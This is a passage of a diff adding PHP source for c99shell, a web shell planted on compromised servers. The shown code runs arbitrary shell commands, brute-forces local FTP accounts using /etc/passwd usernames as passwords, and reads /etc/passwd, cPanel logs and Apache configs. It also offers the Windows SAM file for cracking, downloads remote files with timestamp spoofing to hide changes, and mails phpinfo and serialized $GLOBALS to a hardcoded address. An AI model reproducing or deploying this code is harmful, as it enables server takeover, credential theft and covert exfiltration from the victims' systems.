rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = false;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $tmp = posix_getpwuid(fileowner($d)); + if ($tmp["name"] == "") {echo fileowner($d)."/";} + else {echo $tmp["name"]."/";} + $tmp = posix_getgrgid(filegroup($d)); + if ($tmp["name"] == "") {echo filegroup($d);} + else {echo $tmp["name"];} + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>"; + } +} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = "ls"; + } + } + echo "<form method=\"POST\"> +<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\"> +<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = true; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\"> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=\"submit\" name=\"submit\" value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "ps_aux";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== false) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["dirs"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = @posix_getpwuid(fileowner($v)); + $gr = @posix_getgrgid(filegroup($v)); + $row[] = $ow["name"]."/".$gr["name"]; + $row[] = fileowner($v)."/".filegroup($v); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["dirs"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $k = $sort[0]; + if (!is_numeric($k)) {$k = $sort[0] = 0;} + if ($sort[1] != "a") {$sort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";} + } + $v = $sort[0]; + usort($objects["dirs"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($sort[1] == "d") + { + $objects["dirs"] = array_reverse($objects[dirs]); + $objects["files"] = array_reverse($objects[files]); + } + $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["dirs"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + 